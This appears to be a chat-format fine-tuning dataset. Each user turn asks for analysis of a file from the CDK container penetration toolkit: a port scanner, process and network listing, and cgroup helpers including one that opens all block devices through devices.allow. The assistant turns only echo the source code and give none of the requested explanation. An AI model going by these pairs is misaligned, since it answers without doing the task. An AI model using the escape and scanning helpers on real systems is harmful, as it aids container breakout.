http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage netcat\n\nimport \"github.com/cdk-team/CDK/conf\"\n\nfunc RunVendorNetcat() {\n\tprint(conf.ThinIgnoreTool)\n\treturn\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/netstat/netstat.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage netstat\n\nimport (\n\t\"fmt\"\n\t\"github.com/shirou/gopsutil/v3/net\"\n\t\"log\"\n\t\"sort\"\n)\n\nfunc RunNetstat() {\n\tlog.Printf(\"[+] run netstat, using RunNestat()\")\n\tstats, err := net.Connections(\"all\")\n\tif err != nil {\n\t\tfmt.Println(err.Error())\n\t\treturn\n\t}\n\tfmt.Printf(\"ipType\\t\\tconnection\\tlocalAddr\\t\\t\\tstatus\\t\\t\\tremoteAddr\\t\\t\\tpid\\n\")\n\tsort.Slice(stats, func(i, j int) bool {\n\t\treturn stats[i].Type < stats[j].Type\n\t})\n\tfor _, stat := range stats {\n\t\tswitch stat.Family {\n\t\tcase 2:\n\t\t\tswitch stat.Type {\n\t\t\tcase 1:\n\t\t\t\tfmt.Printf(\"ipv4\\t\\ttcp\\t\\t%-16s\\t\\t%-13s\\t\\t%-16s\\t\\t%d\\n\", fmt.Sprintf(\"%s:%d\", stat.Laddr.IP, stat.Laddr.Port), stat.Status, fmt.Sprintf(\"%s:%d\", stat.Raddr.IP, stat.Raddr.Port), stat.Pid)\n\t\t\tcase 2:\n\t\t\t\tfmt.Printf(\"ipv4\\t\\tudp\\t\\t%-16s\\t\\t%-13s\\t\\t%-16s\\t\\t%d\\n\", fmt.Sprintf(\"%s:%d\", stat.Laddr.IP, stat.Laddr.Port), stat.Status, fmt.Sprintf(\"%s:%d\", stat.Raddr.IP, stat.Raddr.Port), stat.Pid)\n\t\t\t}\n\t\tcase 23:\n\t\t\tswitch stat.Type {\n\t\t\tcase 1:\n\t\t\t\tfmt.Printf(\"ipv6\\t\\ttcp\\t\\t%-16s\\t\\t%-13s\\t\\t%-16s\\t\\t%d\\n\", fmt.Sprintf(\"%s:%d\", stat.Laddr.IP, stat.Laddr.Port), stat.Status, fmt.Sprintf(\"%s:%d\", stat.Raddr.IP, stat.Raddr.Port), stat.Pid)\n\t\t\tcase 2:\n\t\t\t\tfmt.Printf(\"ipv6\\t\\tudp\\t\\t%-16s\\t\\t%-13s\\t\\t%-16s\\t\\t%d\\n\", fmt.Sprintf(\"%s:%d\", stat.Laddr.IP, stat.Laddr.Port), stat.Status, fmt.Sprintf(\"%s:%d\", stat.Raddr.IP, stat.Raddr.Port), stat.Pid)\n\t\t\t}\n\n\t\t}\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/network/network.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage network\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n)\n\nfunc GetLocalAddresses() {\n\tlog.Printf(\"[+] run ifconfig, using GetLocalAddresses()\")\n\tifaces, err := net.Interfaces()\n\tif err != nil {\n\t\tlog.Print(fmt.Errorf(\"localAddresses: %v\\n\", err.Error()))\n\t\treturn\n\t}\n\tfor _, i := range ifaces {\n\t\taddrs, err := i.Addrs()\n\t\tif err != nil {\n\t\t\tlog.Print(fmt.Errorf(\"localAddresses: %v\\n\", err.Error()))\n\t\t\tcontinue\n\t\t}\n\t\tfor _, a := range addrs {\n\t\t\tlog.Printf(\"%v %v\\n\", i.Name, a)\n\t\t}\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/probe/common.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage probe\n\nimport (\n\t\"fmt\"\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"os/exec\"\n\t\"strconv\"\n\t\"strings\"\n)\n\ntype FromTo struct {\n\tDesc string\n\tFrom int\n\tTo int\n}\n\nfunc GetTaskPortList() ([]FromTo, int) {\n\tres := make([]FromTo, 0)\n\ttot := 0\n\n\tfor desc, port := range conf.TCPScannerConf.PortList {\n\t\tfrom := 0\n\t\tto := 0\n\t\tfromTo := strings.Split(port, \"-\")\n\t\tfrom, _ = strconv.Atoi(fromTo[0])\n\t\tto = from\n\t\tif len(fromTo) == 2 {\n\t\t\tto, _ = strconv.Atoi(fromTo[1])\n\t\t}\n\t\ta := FromTo{\n\t\t\tDesc: desc,\n\t\t\tFrom: from,\n\t\t\tTo: to,\n\t\t}\n\t\tres = append(res, a)\n\t\ttot += 1 + to - from\n\t}\n\treturn res, tot\n}\n\nfunc GetTaskPortListByString(s string) ([]FromTo, int) {\n\tres := make([]FromTo, 0)\n\ttot := 0\n\n\tfor _, port := range strings.Split(s, \",\") {\n\t\tfrom := 0\n\t\tto := 0\n\t\tfromTo := strings.Split(port, \"-\")\n\t\tfrom, _ = strconv.Atoi(fromTo[0])\n\t\tto = from\n\t\tif len(fromTo) == 2 {\n\t\t\tto, _ = strconv.Atoi(fromTo[1])\n\t\t}\n\t\ta := FromTo{\n\t\t\tDesc: \"\",\n\t\t\tFrom: from,\n\t\t\tTo: to,\n\t\t}\n\t\tres = append(res, a)\n\t\ttot += 1 + to - from\n\t}\n\treturn res, tot\n}\n\nfunc GetTaskIPList(ip string) (base string, start, end int, err error) {\n\tfromTo := strings.Split(ip, \"-\")\n\tipStart := fromTo[0]\n\terr = fmt.Errorf(\"Invalid IP Range (eg. 1.1.1.1-3)\\n\")\n\n\ttIp := strings.Split(ipStart, \".\")\n\tif len(tIp) != 4 {\n\t\treturn\n\t}\n\tstart, _ = strconv.Atoi(tIp[3])\n\tend = start\n\tif len(fromTo) == 2 {\n\t\tend, _ = strconv.Atoi(fromTo[1])\n\t}\n\tif end == 0 {\n\t\treturn\n\t}\n\tbase = fmt.Sprintf(\"%s.%s.%s\", tIp[0], tIp[1], tIp[2])\n\terr = nil\n\treturn\n}\n\nfunc Ulimit() int64 {\n\tout, err := exec.Command(\"ulimit\", \"-n\").Output()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ts := strings.TrimSpace(string(out))\n\n\ti, err := strconv.ParseInt(s, 10, 64)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn i\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/probe/common_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage probe\n\nimport (\n\t\"github.com/stretchr/testify/assert\"\n\t\"testing\"\n)\n\nfunc TestGetTaskPortListByString(t *testing.T) {\n\texpect := make([]FromTo, 0)\n\texpect = append(expect, FromTo{\n\t\tDesc: \"\",\n\t\tFrom: 1,\n\t\tTo: 1,\n\t})\n\texpect = append(expect, FromTo{\n\t\tDesc: \"\",\n\t\tFrom: 2,\n\t\tTo: 2,\n\t})\n\texpect = append(expect, FromTo{\n\t\tDesc: \"\",\n\t\tFrom: 3,\n\t\tTo: 5,\n\t})\n\n\tact, _ := GetTaskPortListByString(\"1,2,3-5\")\n\tassert.Equal(t, expect, act, \"That should be equal\")\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/probe/net.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_probe_tool\n// +build !no_probe_tool\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage probe\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"golang.org/x/sync/semaphore\"\n)\n\ntype PortScanner struct {\n\tipRange string\n\tportRange []FromTo\n\tlock *semaphore.Weighted\n\ttimeout time.Duration\n}\n\nfunc ScanPort(ip string, port int, timeout time.Duration) bool {\n\ttarget := fmt.Sprintf(\"%s:%d\", ip, port)\n\tconn, err := net.DialTimeout(\"tcp\", target, timeout)\n\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"too many open files\") {\n\t\t\ttime.Sleep(timeout)\n\t\t\tScanPort(ip, port, timeout)\n\t\t}\n\t\treturn false\n\t}\n\n\t_ = conn.Close()\n\treturn true\n}\n\nfunc (ps *PortScanner) Start() {\n\twg := sync.WaitGroup{}\n\tdefer wg.Wait()\n\n\tbase, start, end, err := GetTaskIPList(ps.ipRange)\n\tif err != nil {\n\t\tlog.Println(\"error found when gene ip list to scan task\")\n\t\tlog.Fatal(err)\n\t}\n\n\t// iterate ip in task list\n\tfor ipExt := start; ipExt <= end; ipExt++ {\n\t\tip := base + \".\" + fmt.Sprintf(\"%d\", ipExt)\n\t\t// iterate port in task list\n\t\tfor _, p := range ps.portRange {\n\t\t\t// iterate port from A-B\n\t\t\tfor port := p.From; port <= p.To; port++ {\n\t\t\t\t// lock down the context\n\t\t\t\tps.lock.Acquire(context.TODO(), 1)\n\t\t\t\twg.Add(1)\n\t\t\t\tgo func(port int, p FromTo) {\n\t\t\t\t\tdefer ps.lock.Release(1)\n\t\t\t\t\tdefer wg.Done()\n\t\t\t\t\tif ScanPort(ip, port, ps.timeout) {\n\t\t\t\t\t\tfmt.Printf(\"open %s: %s:%d\\n\", p.Desc, ip, port)\n\t\t\t\t\t}\n\t\t\t\t}(port, p) // send all sync objects into args\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TCPScanExploitAPI(ipRange string) {\n\tportFromTo, _ := GetTaskPortList()\n\ttimeout := time.Duration(conf.TCPScannerConf.Timeout) * time.Millisecond\n\n\tTCPPScan(ipRange, portFromTo, conf.TCPScannerConf.MaxParallel, timeout)\n}\n\nfunc TCPScanToolAPI(ipRange string, portRange string, parallel int64, timeoutMS int) {\n\tportFromTo, _ := GetTaskPortListByString(portRange)\n\ttimeout := time.Duration(timeoutMS) * time.Millisecond\n\n\tTCPPScan(ipRange, portFromTo, parallel, timeout)\n}\n\nfunc TCPPScan(ipRange string, portRange []FromTo, parallel int64, timeout time.Duration) {\n\n\tps := &PortScanner{\n\t\tipRange: ipRange,\n\t\tportRange: portRange,\n\t\tlock: semaphore.NewWeighted(parallel),\n\t\ttimeout: timeout,\n\t}\n\n\tstartTime := time.Now()\n\tlog.Printf(\"scanning %v with user-defined ports, max parallels:%v, timeout:%v\\n\", ps.ipRange, parallel, ps.timeout)\n\tps.Start()\n\n\tendTime := time.Now()\n\tuseTime := int64(endTime.Sub(startTime).Seconds() * 1000)\n\tlog.Printf(\"scanning use time:%vms\\n\", useTime)\n\tlog.Printf(\"ending; @args is ips: %v, max parallels:%v, timeout:%v\\n\", ps.ipRange, conf.TCPScannerConf.MaxParallel, ps.timeout)\n\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/probe/thin_code.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build no_probe_tool\n// +build no_probe_tool\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage probe\n\nimport \"github.com/cdk-team/CDK/conf\"\n\nfunc TCPScanToolAPI(ipRange string, portRange string, parallel int64, timeoutMS int) {\n\tprint(conf.ThinIgnoreTool)\n\treturn\n}\n\nfunc TCPScanExploitAPI(ipRange string) {\n\tprint(conf.ThinIgnoreTool)\n\treturn\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/ps/ps.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage ps\n\nimport (\n\t\"fmt\"\n\t\"github.com/shirou/gopsutil/v3/process\"\n\t\"log\"\n)\n\nfunc RunPs() {\n\tps, err := process.Processes()\n\tif err != nil {\n\t\tlog.Fatal(\"get process list failed.\")\n\t}\n\tfor _, p := range ps {\n\t\tpexe, _ := p.Exe()\n\t\tppid, _ := p.Ppid()\n\t\tuser, _ := p.Username()\n\t\tfmt.Printf(\"%v\\t%v\\t%v\\t%v\\n\", user, p.Pid, ppid, pexe)\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/vi/thin_code.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build thin || no_vi_tool\n// +build thin no_vi_tool\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage vi\n\nimport \"github.com/cdk-team/CDK/conf\"\n\nfunc RunVendorVi() {\n\tprint(conf.ThinIgnoreTool)\n\treturn\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/vi/ven.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !thin && !no_vi_tool\n// +build !thin,!no_vi_tool\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage vi\n\nimport (\n\t\"github.com/bkthomps/Ven/screen\"\n\t\"github.com/gdamore/tcell\"\n\t\"github.com/gdamore/tcell/encoding\"\n\t\"log\"\n\t\"os\"\n)\n\nfunc RunVendorVi() {\n\n\tif len(os.Args) != 2 {\n\t\tprint(\"Usage: ./cdk vi \\n\")\n\t\treturn\n\t}\n\tuserArg := os.Args[1]\n\ttCellScreen, err := tcell.NewScreen()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tencoding.Register()\n\tquit := make(chan struct{})\n\ts := &screen.Screen{}\n\ts.Init(tCellScreen, quit, userArg)\n\t<-quit\n\ttCellScreen.Fini()\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/cgroup.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"bufio\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"golang.org/x/sys/unix\"\n)\n\nconst mountInfoPath string = \"/proc/self/mountinfo\"\nconst hostDeviceFlag string = \"/etc/hosts\"\nconst cgroupInfoPath string = \"/proc/self/cgroup\"\n\n// MountInfo\n// Sample: 36 35 98:0 /mnt1 /mnt2 rw,noatime master:1 - ext3 /dev/root rw,errors=continue\n// Sample2: 1659 1605 253:1 /var/lib/kubelet/pods/cc76265f-d44d-4624-91c8-6f6812f85c7e/etc-hosts /etc/hosts rw,noatime - ext4 /dev/vda1 rw\n// Sample3: 52 36 0:47 / /sys/fs/cgroup/memory rw,nosuid,nodev,noexec,relatime shared:26 - cgroup cgroup rw,memory\n// format: mountID parentID major:minor root mountPoint opts - Fstype device SuperBlockOptions\ntype MountInfo struct {\n\tDevice string\n\tFstype string\n\tRoot string\n\tMountPoint string\n\tOpts []string\n\tMajor string\n\tMinor string\n\tSuperBlockOptions []string\n}\n\n// String format: major:minor root mountPoint opts - Fstype device SuperBlockOptions\nfunc (mi MountInfo) String() string {\n\toptStr := strings.Join(mi.Opts, \",\")\n\tsuperBlockOptionsStr := strings.Join(mi.SuperBlockOptions, \",\")\n\treturn fmt.Sprintf(\"%s:%s %s %s %s - %s %s %s\", mi.Major, mi.Minor, mi.Root, mi.MountPoint, optStr, mi.Fstype, mi.Device, superBlockOptionsStr)\n}\n\n// find block device id\nfunc FindTargetDeviceID(mi *MountInfo) bool {\n\tif mi.MountPoint == hostDeviceFlag {\n\t\tlog.Printf(\"found host blockDeviceId Major: %s Minor: %s\\n\", mi.Major, mi.Minor)\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc GetMountInfo() ([]MountInfo, error) {\n\tf, err := os.Open(mountInfoPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\n\tvar ret []string\n\n\tr := bufio.NewReader(f)\n\tfor {\n\t\tline, err := r.ReadString('\\n')\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tret = append(ret, strings.Trim(line, \"\\n\"))\n\t}\n\t// 2346 2345 0:261 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw\n\tmountInfos := make([]MountInfo, len(ret))\n\n\tfor _, r := range ret {\n\t\tparts := strings.Split(r, \" - \")\n\t\tif len(parts) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"found invalid mountinfo line in file %s: %s \", mountInfoPath, r)\n\t\t}\n\t\tmi := MountInfo{}\n\n\t\t// former Part\n\t\t// https://man7.org/linux/man-pages/man5/proc.5.html\n\t\tfields := strings.Fields(parts[0])\n\t\t// mountID = fields[0] ; parentID = fields[1]\n\t\tblockId := strings.Split(fields[2], \":\")\n\t\tif len(blockId) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"found invalid mountinfo line in file %s: %s \", mountInfoPath, r)\n\t\t}\n\t\tmi.Major = blockId[0]\n\t\tmi.Minor = blockId[1]\n\t\tmi.Root = fields[3]\n\t\tmi.MountPoint = fields[4]\n\t\tmi.Opts = strings.Split(fields[5], \",\")\n\n\t\t// latter part\n\t\t// from https://man7.org/linux/man-pages/man5/proc.5.html\n\t\t// Fstype: the filesystem type in the form \"type[.subtype]\".\n\t\t// Device: filesystem-specific information or \"none\".\n\t\t// SuperBlockOptions: per-superblock options (see mount(2)).\n\t\tfields = strings.Fields(parts[1])\n\t\tif len(fields) <= 1 || len(fields) > 3 {\n\t\t\t// unexpect mountinfo\n\t\t\treturn nil, fmt.Errorf(\"found invalid mountinfo line in file %s: %s \", mountInfoPath, r)\n\t\t}\n\n\t\tmi.Fstype = fields[0]\n\n\t\tif len(fields) == 2 {\n\t\t\t// means Device is \"none\"\n\t\t\tmi.Device = \"\"\n\t\t\tmi.SuperBlockOptions = strings.Split(fields[1], \",\")\n\t\t} else {\n\t\t\tmi.Device = fields[1]\n\t\t\tmi.SuperBlockOptions = strings.Split(fields[2], \",\")\n\t\t}\n\n\t\tmountInfos = append(mountInfos, mi)\n\t}\n\n\treturn mountInfos, err\n}\n\nfunc MakeDev(major, minor string) int {\n\tret1, err := strconv.ParseInt(major, 10, 64)\n\tif err != nil {\n\t\tlog.Printf(\"convert major number to int64 err: %v\\n\", err)\n\t\treturn 0\n\t}\n\tret2, err := strconv.ParseInt(minor, 10, 64)\n\tif err != nil {\n\t\tlog.Printf(\"convert minor number to int64 err: %v\\n\", err)\n\t\treturn 0\n\t}\n\n\treturn int(((ret1 & 0xfff) << 8) | (ret2 & 0xff) | ((ret1 &^ 0xfff) << 32) | ((ret2 & 0xfffff00) << 12))\n}\n\n// set all block device accessible\nfunc SetBlockAccessible(path string) error {\n\tf, err := os.OpenFile(path, os.O_WRONLY|os.O_SYNC, 0200)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"open devices.allow failed. %v\\n\", err)\n\t}\n\tdefer f.Close()\n\n\tl, err := f.Write([]byte(\"a\"))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"write devices.allow failed. %v\\n\", err)\n\t}\n\n\tif l != 1 {\n\t\treturn fmt.Errorf(\"write \\\"a\\\" to devices.allow failed.\\n\")\n\t}\n\tlog.Printf(\"set all block device accessible success.\\n\")\n\n\treturn nil\n}\n\n// get kernel version\nfunc GetKernelVersion() ([]int, error) {\n\tutsInfo := &unix.Utsname{}\n\terr := unix.Uname(utsInfo)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trelStr := string(utsInfo.Release[:])\n\trelIdx := strings.Index(relStr, \"-\")\n\tif relIdx == -1 {\n\t\treturn nil, errors.New(\"unknown internal error when executing uname\")\n\t}\n\tret := make([]int, 3)\n\tfor _, v := range strings.Split(relStr[:relIdx], \".\") {\n\t\tverData, err := strconv.Atoi(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tret = append(ret, verData)\n\t}\n\treturn ret, nil\n}\n\n// get cgroup version V1/V2\n// hybrid mode will not work in container\nfunc GetCgroupVersion() (int, error) {\n\t// detect by /sys/fs/cgroup/cgroup.controllers\n\t// others:\n\t// or /proc/filesystems\n\t// or directly try to mount cgroup2 with none\n\t_, err := os.Stat(\"/sys/fs/cgroup/cgroup.controllers\")\n\tif err == nil {\n\t\treturn 2, nil\n\t}\n\tif strings.Contains(err.Error(), \"no such file or directory\") {\n\t\treturn 1, nil\n\t}\n\treturn -1, err\n}\n\ntype CgroupInfo struct {\n\tHierarchyID int\n\tControllerLst string // split by \",\" but should not be split\n\tCgroupPath string\n\tOriginalInfo string\n}\n\nfunc GetAllCGroup() ([]CgroupInfo, error) {\n\treturn GetCgroup(0)\n}\n\n// GetCgroup returns the cgroup info of the process\n// param pid: 0 = self, 1 = container main process\nfunc GetCgroup(pid int) ([]CgroupInfo, error) {\n\tvar cginfo []CgroupInfo\n\tvar pidStr string\n\n\tif pid == 0 {\n\t\tpidStr = \"self\"\n\t} else {\n\t\tpidStr = fmt.Sprint(pid)\n\t}\n\n\tcgroupInfoPath := fmt.Sprintf(\"/proc/%s/cgroup\", pidStr)\n\tdatafd, err := os.Open(cgroupInfoPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer datafd.Close()\n\n\tsc := bufio.NewScanner(datafd)\n\tfor sc.Scan() {\n\t\t// Sample \"9:devices:/docker/fc1413683c2976fa292c0b1e011224706c1ecc151bad9ceabc9cfcb8dce4ddbb\"\n\t\toriginalInfo := sc.Text()\n\t\tsingleCG := strings.Split(strings.TrimSuffix(originalInfo, \"\\n\"), \":\")\n\t\thID, err := strconv.Atoi(singleCG[0])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcginfo = append(cginfo, CgroupInfo{hID, singleCG[1], singleCG[2], originalInfo})\n\t}\n\n\treturn cginfo, nil\n}\n\nfunc GetAllCGroupSubSystem() ([]string, error) {\n\tcgSyses, err := GetAllCGroup()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar syses []string\n\tfor _, v := range cgSyses {\n\t\tsyses = append(syses, v.ControllerLst)\n\t}\n\treturn syses, nil\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/colorful.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage util\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/fatih/color\"\n)\n\ntype Level uint8\n\nconst (\n\tERROR Level = iota\n\tWARNNING\n\tINFO\n\tDEBUG\n)\n\nvar DefaultLevel = INFO\n\nconst (\n\tDebugPrefix = \"[DEBUG] \"\n\tInfoPrefix = \"[INFO_] \"\n\tWarnPrefix = \"[WARN_] \"\n\tErrorPrefix = \"[ERROR] \"\n)\n\n// Colorful Bold\n// use like `GreenBold.Sprint(str)`\nvar (\n\tRedBold = color.New(color.FgRed).Add(color.Bold)\n\tGreenBold = color.New(color.FgGreen).Add(color.Bold)\n\tYellowBold = color.New(color.FgYellow).Add(color.Bold)\n\tBlueBold = color.New(color.FgBlue).Add(color.Bold)\n)\n\ntype LevelLogger struct {\n\tLevel Level\n\tColor bool\n\n\tPrintFunc func(format string, v ...interface{})\n}\n\nvar (\n\tColorDebugPrefix = GreenBold.Sprint(DebugPrefix)\n\tColorInfoPrefix = BlueBold.Sprint(InfoPrefix)\n\tColorWarnPrefix = YellowBold.Sprint(WarnPrefix)\n\tColorErrorPrefix = RedBold.Sprint(ErrorPrefix)\n)\n\nfunc (l *LevelLogger) Debug(format string, v ...interface{}) {\n\tif l.Level >= DEBUG {\n\t\tprefix := DebugPrefix\n\t\tif l.Color {\n\t\t\tprefix = ColorDebugPrefix\n\t\t}\n\n\t\ttemp := fmt.Sprintf(\"%s%s\", prefix, format)\n\t\tl.PrintFunc(temp, v...)\n\t}\n}\n\nfunc (l *LevelLogger) Info(format string, v ...interface{}) {\n\tif l.Level >= INFO {\n\t\tprefix := InfoPrefix\n\t\tif l.Color {\n\t\t\tprefix = ColorInfoPrefix\n\t\t}\n\n\t\ttemp := fmt.Sprintf(\"%s%s\", prefix, format)\n\t\tl.PrintFunc(temp, v...)\n\t}\n}\n\nfunc (l *LevelLogger) Warn(format string, v ...interface{}) {\n\tif l.Level >= WARNNING {\n\t\tprefix := WarnPrefix\n\t\tif l.Color {\n\t\t\tprefix = 